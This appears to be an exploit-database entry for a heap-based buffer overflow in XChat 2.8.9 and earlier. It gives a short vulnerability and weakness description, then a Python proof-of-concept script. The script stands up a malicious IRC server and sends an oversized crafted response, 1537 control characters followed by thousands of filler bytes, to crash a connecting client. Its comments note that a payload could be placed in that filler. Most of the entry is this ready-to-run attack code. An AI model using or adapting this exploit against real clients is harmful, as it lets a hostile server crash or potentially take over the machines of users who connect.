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Heap-based buffer overflow in XChat 2.8.9 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long response string.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
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Publication date : 2011-11-24 23h00 +00:00 Author : Jane Doe EDB Verified : Yes
#!/usr/bin/python
# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9
# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here.
# th3p4tri0t
import socket
print "XChat PoC Exploit by th3p4tri0t\n"
print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))
print " [*] Listening on socket..."
sock.listen(5)
print " [*] Accepting connection..."
(target, address) = sock.accept()
print " [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537 # minimum required of this character
buffer += "A"*4000 # anything can go here and it still works.
buffer += " :*\r\n"
target.send(buffer)
target.close
sock.close